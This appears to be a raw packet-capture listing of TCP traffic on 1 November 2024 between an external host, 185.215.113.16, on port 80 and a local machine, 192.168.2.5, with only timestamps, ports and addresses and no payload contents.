Nov 1, 2024 05:52:27.811976910 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.811990976 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.812005043 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.812017918 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.812017918 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.812032938 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.812041998 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.812047005 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.812076092 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.812247038 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.812261105 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.812274933 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.812309980 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.812309980 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.812321901 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.812335014 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.812349081 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.812362909 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.812376022 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.812410116 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.825460911 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.825474977 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.825488091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.825527906 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.825527906 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.854113102 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854127884 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854141951 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854191065 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854199886 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.854211092 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854228020 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.854231119 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854244947 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854255915 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854269981 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854283094 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854291916 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.854291916 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.854298115 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854310989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854324102 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854337931 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854345083 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.854345083 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.854351044 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854366064 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854379892 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.854381084 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854397058 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854410887 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854424000 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854428053 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.854428053 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.854437113 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854450941 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854458094 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.854464054 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854477882 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854490995 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854501963 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.854506016 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854518890 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854525089 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.854532957 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854537964 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.854547024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854561090 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.854602098 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.854602098 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.898478031 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.898492098 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.898531914 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.898545027 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.898555994 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.898559093 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.898572922 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.898598909 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.898598909 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.898747921 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.898772955 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.898794889 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.898808956 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.898822069 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.898823977 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.898857117 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.898894072 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.898941994 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.898948908 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.898962021 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.898981094 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899000883 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899008036 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.899027109 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899044991 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899059057 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899080992 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.899080992 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.899097919 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899111986 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899125099 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899139881 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899144888 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.899167061 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899173021 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.899182081 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899194956 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899215937 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.899230957 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.899293900 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899306059 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899338961 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.899432898 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899452925 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899466991 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899496078 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.899555922 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899569035 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899584055 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899597883 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899611950 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899616957 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.899626970 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899646044 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.899646044 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.899692059 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899704933 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899729967 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899743080 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.899754047 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.899777889 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.902446985 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.902461052 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.902476072 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.902487993 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.902501106 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.902514935 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.902529001 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.902543068 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.902546883 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.902558088 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.902571917 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.902601004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.902607918 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.902607918 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.902616024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.902628899 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.902698994 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.902739048 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.902751923 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.902765989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.902781963 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.902786970 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.902807951 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.902827978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.902841091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.902856112 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.902863979 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.902870893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.902908087 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.902997017 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903011084 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903023005 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903038025 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.903059959 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.903105021 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903119087 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903146029 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903171062 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903183937 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903198004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903202057 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.903202057 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.903213024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903224945 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903238058 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.903247118 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903260946 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.903268099 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903281927 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903295994 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903309107 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.903310061 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903331995 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903336048 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.903345108 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903378010 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.903403044 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903431892 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903445005 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903446913 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.903459072 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903472900 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903477907 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.903486967 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903528929 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.903542995 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903556108 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903568983 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903603077 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.903603077 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.903680086 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903693914 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903707027 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903737068 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.903810978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903844118 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903852940 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.903857946 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903872013 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903886080 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903906107 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.903923988 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.903961897 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903975964 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.903990030 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904036999 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.904071093 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904086113 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904098988 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904130936 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.904164076 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.904238939 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904257059 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904272079 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904285908 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904292107 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.904299974 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904316902 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.904350996 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904364109 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904376984 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904406071 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.904406071 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.904484987 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904498100 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904511929 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904525042 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904548883 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.904572010 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.904618025 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904632092 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904645920 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904659033 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904664993 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.904695988 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.904700994 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904738903 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904751062 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904781103 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.904867887 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904881954 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904895067 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.904915094 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.904951096 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.905028105 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.905030012 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.905041933 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.905060053 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.905081034 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.905082941 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.905090094 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.905154943 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.905625105 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.929205894 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.929251909 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.929297924 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.929311037 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.929366112 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.929780006 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.929794073 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.929807901 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.929850101 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.930011988 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.930026054 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.930041075 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.930063009 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.930080891 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.930423975 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.930437088 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.930455923 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.930468082 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.930483103 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.930489063 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.930496931 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.930510998 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.930521011 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.930524111 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.930532932 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.930643082 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.930995941 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931010962 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931024075 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931039095 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931052923 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931058884 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.931078911 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.931215048 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931229115 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931241989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931256056 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.931257010 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931271076 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931283951 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931303978 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.931303978 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.931596041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931608915 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931627989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931639910 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931649923 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.931653023 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931667089 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931669950 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.931680918 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931683064 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.931699991 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931730032 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931740999 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.931741953 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931756973 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.931777000 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.931793928 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.942450047 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.942473888 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.942523956 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.942660093 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.942672968 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.942744970 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.971168041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971185923 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971200943 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971266985 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.971307039 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971327066 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971335888 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:27.971340895 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971355915 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971369028 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:27.971383095 CET	80	49712	185.215.113.16	192.168.2.5
